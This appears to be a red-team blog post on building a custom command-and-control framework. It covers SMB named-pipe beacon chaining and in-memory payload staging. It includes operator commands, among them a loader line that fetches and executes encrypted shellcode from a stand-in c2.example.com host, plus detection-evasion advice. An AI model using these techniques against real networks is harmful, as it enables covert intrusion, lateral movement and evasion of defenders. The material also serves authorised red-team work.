Back to Home
Red Team

Custom C2 Development #4 — SMB Beacon and Payload Staging

CloakCat

Author

CloakCat

Time

8 min read

Read by

3

Custom C2 Development #4 — SMB Beacon and Payload Staging: Completing the Operational Loop

The previous post covered process injection and execute-assembly — the two capabilities that turned CloakCat from a shell-over-HTTP tool into something that could actually support post-exploitation workflows. This post covers the next two pieces: SMB beacon chaining and server-side payload staging.

These aren't glamorous features. They don't show up in conference talks. But without them, you hit operational dead ends in any environment with network segmentation or competent blue team monitoring of file artifacts on disk.


SMB Beacon: Solving the Egress Problem

The Operational Need

Every engagement hits the same pattern. You compromise a host in a DMZ or a user segment that has outbound internet access — your HTTP beacon checks in, you have command execution. Then you move laterally to a database server, a domain controller, or a jump host sitting in a restricted VLAN. That host has no outbound internet. Your HTTP beacon can't call home.

This is where most custom C2 frameworks fall short. They give you HTTP and call it done. In reality, any network with even basic segmentation will have hosts that cannot reach the internet directly. If your C2 only speaks HTTP, you've lost access the moment you pivot into a restricted segment.

The answer is peer-to-peer chaining over an internal protocol. For Windows environments, that protocol is SMB — specifically, Named Pipes over SMB (IPC$). Port 445 is almost always open between Windows hosts in the same domain. It has to be — Active Directory depends on it.

Architecture

CloakCat's SMB beacon implements the Transport trait as PipeTransport, sitting alongside the existing HttpTransport. The trait interface is identical — register, poll, send_result, fetch_upload_file, send_download_chunk — which means every task that works over HTTP works identically over a Named Pipe channel with zero modification.

The chaining model:

[Restricted Host]                    [DMZ Host]                     [Team Server]
 Child Beacon                        Parent Beacon
 PipeTransport                       HttpTransport
      |                                   |                              |
      |--- Named Pipe (\\.\pipe\xxx) ---->|                              |
      |                                   |--- HTTPS (malleable) ------->|
      |                                   |                              |
      |<-- command relay -----------------|<-- command ------------------|
      |                                   |                              |
      |--- result relay ----------------->|--- result ------------------>|

The parent beacon runs a serve_loop — a dedicated async task that accepts pipe connections and proxies every IPC message upstream over HTTP. From the team server's perspective, the child beacon is just another agent. It shows up in agents, accepts tasks, returns results. The relay is transparent.

Envelope Protocol

Raw JSON over Named Pipes works but wastes bandwidth and complicates framing. Binary fields (shellcode, assembly bytes, file chunks) balloon when JSON-encoded. The implementation uses a typed envelope protocol with 10 message variants that map 1:1 to Transport trait methods. Binary fields use base64 serialization, bringing payload overhead from ~3.5x (hex encoding) to ~1.33x.

Each envelope is length-prefixed: [4-byte LE length][JSON payload]. The pipe operates in PIPE_TYPE_MESSAGE mode, so message boundaries are preserved by the OS.

Operational Usage

# Build an SMB beacon targeting a specific pipe name
build-agent --os windows --format exe \
  --transport smb --pipe-name cloakcat_c2 \
  --alias "dc01-smb" ...

# On the parent beacon's host, link to the child
link dc01.corp.local cloakcat_c2

# Child beacon appears in agent list
agents
→ [dc01-smb] alive, transport: pipe, parent: dmz-web01

# All commands work identically
execute-assembly dc01-smb ./Rubeus.exe kerberoast
socks-start dc01-smb 9091

The pipe name should blend with legitimate Named Pipes on the host. Default Windows services create pipes like \pipe\srvsvc, \pipe\wkssvc, \pipe\lsarpc. Choosing something that looks like a service pipe reduces the chance of an analyst flagging it during pipe enumeration.


Payload Staging: Eliminating Disk Artifacts

The Problem with File-Based Delivery

The standard payload delivery workflow in most C2 frameworks is: build shellcode, transfer the shellcode file to the target, transfer the loader to the target, execute the loader pointing at the shellcode file. That's two files on disk. Two artifacts for EDR file scanning. Two entries in the MFT. Two things the DFIR team will find during triage.

The loader binary is harder to avoid — something has to execute. But the shellcode file is pure payload. It has no reason to exist on disk.

Server-Side Staging

CloakCat's staging implementation moves the shellcode off disk entirely. The team server hosts the encrypted shellcode in memory behind a randomized endpoint. The loader fetches it over HTTPS, decrypts in memory, and executes. The shellcode never touches the filesystem.

The build pipeline integrates this directly:

build-agent --os windows --format shellcode --encrypt --host

[+] Shellcode built: 312 KB
[+] Hosted: https://c2.example.com:3443/d/a8f3e2b1
[+] Expires: 60 minutes
[+] Run: shellcode_loader.exe -u https://c2.example.com:3443/d/a8f3e2b1 -e aes -k 4f2a...c8d1 -m thread

One command. Build, encrypt, stage, and print the loader invocation. The operator copies that loader command to the target and executes. Done.

Staging Endpoint Design

The staging endpoint sits on the same listener infrastructure as the beacon callbacks, which means it benefits from the same malleable profile transforms. If the listener is configured with the amazon profile, the staging URL looks like any other request to an Amazon-adjacent CDN endpoint.

Key operational controls:

One-shot delivery. --host-once deletes the payload after the first successful download. If the blue team discovers the URL and tries to fetch it, they get a 404. The payload existed in server memory for exactly one HTTP transaction.

Time-based expiration. Default TTL is 60 minutes. A background GC task runs every 60 seconds and purges expired payloads. If the operator forgets to clean up, the server handles it automatically.

No authentication on the download endpoint. This is intentional. The staging URL is GET /d/{random_id} with no token required. The randomized ID serves as a capability URL — knowledge of the URL is the authorization. This avoids the operational headache of pre-configuring credentials in the loader. The AES encryption layer provides confidentiality even if the transport is intercepted.

Memory-only storage. Staged payloads are held in a HashMap in server memory. They are never written to disk, never logged to the database. Server restart clears all staged payloads. This is a deliberate tradeoff — persistence isn't needed for a payload that should be consumed within minutes of creation.

Operational Workflow

The staging feature changes the initial access workflow from a multi-step file transfer operation to a single execution command:

Before (file-based):

1. Build shellcode on C2 server
2. Encrypt shellcode (pyHellShell, custom script, etc.)
3. Transfer encrypted shellcode to operator machine
4. Transfer encrypted shellcode to target (upload, SMB, webdav, etc.)
5. Transfer loader to target
6. Execute loader pointing at local shellcode file
7. Manually delete shellcode file from target

After (staged):

1. build-agent --format shellcode --encrypt --host
2. Transfer loader to target
3. Execute loader with -u flag pointing at staging URL
4. Payload auto-expires on server

Steps reduced from 7 to 4. Disk artifacts reduced from 2 to 1. Manual cleanup eliminated.


Operational Considerations

SMB Beacon OPSEC

Named Pipe traffic between domain-joined hosts is normal. AD replication, Group Policy processing, and administrative tools all generate SMB/pipe traffic. The beacon's pipe communication blends into this baseline.

However, a few things to watch:

Pipe name selection matters. A pipe named \pipe\cloakcat_c2 is an obvious indicator. Names should mimic legitimate services or use generic patterns that don't invite scrutiny during pipe enumeration (Get-ChildItem \\.\pipe\).

SMB traffic volume. A beacon polling every 5 seconds over a Named Pipe generates consistent SMB traffic between two hosts. If those hosts don't normally communicate over SMB, this creates a new traffic pattern that network-level detection can flag. Longer sleep intervals and jitter help.

Authentication context. The SMB connection used to access the Named Pipe carries the connecting user's credentials. Ensure the parent beacon has appropriate privileges before initiating the link command.

Staging OPSEC

The staging URL is sensitive. Anyone with the URL can download the payload. Use --host-once in production engagements. The payload should exist on the server for the minimum time necessary.

The loader still hits disk. Staging eliminates the shellcode file, not the loader. The loader binary should be delivered through a method that minimizes its disk footprint — DLL sideloading, reflective loading, or execution through a legitimate application's plugin mechanism.

TLS certificate validation. If the loader is configured to fetch from an HTTPS staging URL with a self-signed certificate, ensure the loader handles certificate validation appropriately. CloakCat's shellcode loader accepts self-signed certificates by default to avoid operational friction in lab environments.


Current State

With SMB beaconing and payload staging complete, CloakCat's capability matrix now covers:

CategoryCapabilities
TransportHTTP/S (malleable), Named Pipe (SMB)
ExecutionShell, execute-assembly (CLR hosting), BOF (COFF loader)
Injectioninject, shinject, spawn+inject, migrate
Credentialsteal_token, make_token, rev2self
Lateral MovementPsExec (SCM), WMI (COM), remote-exec
NetworkReverse SOCKS5, SMB beacon chaining
EvasionSleep Mask (XOR .text), malleable profiles, jitter/backoff
PayloadsRDI pipeline, AES-256-GCM encryption, server-side staging

18 task types across 2 transport channels. 32 operator commands. The core operational loop — initial access, establish persistence, internal reconnaissance, privilege escalation, lateral movement, domain compromise, data exfiltration — is fully supported without external tooling dependencies.

The next step is deploying this against a realistic lab environment and documenting the operational workflow end-to-end.


This is the fourth post in the CloakCat development series.

Previous: Custom C2 Development #3 — Implementing Process Injection and execute-assembly in Rust

Comments

Loading comments…

Leave a Comment

Related Posts